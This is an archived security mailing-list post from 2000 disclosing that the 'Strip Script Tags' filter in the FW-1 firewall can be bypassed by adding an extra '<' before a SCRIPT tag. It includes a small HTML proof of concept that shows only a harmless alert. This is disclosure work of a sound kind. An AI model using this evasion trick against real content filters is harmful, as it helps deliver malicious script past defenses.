OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
NTBugtraq And NTSecurity Archives: "Strip Script Tags"

"Strip Script Tags" in FW-1 can be circumvented

Subject: "Strip Script Tags" in FW-1 can be circumvented
From: Arne Vidstrom (arne.vidstromNTSECURITY.NU)
Date: Fri Jan 28 2000 - 19:12:47 CST

Hi,

The "Strip Script Tags" in FW-1 can be circumvented by adding an extra <
before the <SCRIPT> tag like in this code:

<HTML>
<HEAD>
<<SCRIPT LANGUAGE="JavaScript">
alert("hello world")
</SCRIPT>
</HEAD>
<BODY>
test
</BODY>
</HTML>

This code will pass unchanged, and still execute in both Navigator and
Explorer. I tried this on version 3.0 of FW-1 (on Windows NT 4.o) but I'm
not able to check it on version 4.0 since I don't have access to it.

Regards /Arne Vidstrom

This archive was generated by hypermail 2b27 : Fri Jan 28 2000 - 22:37:43 CST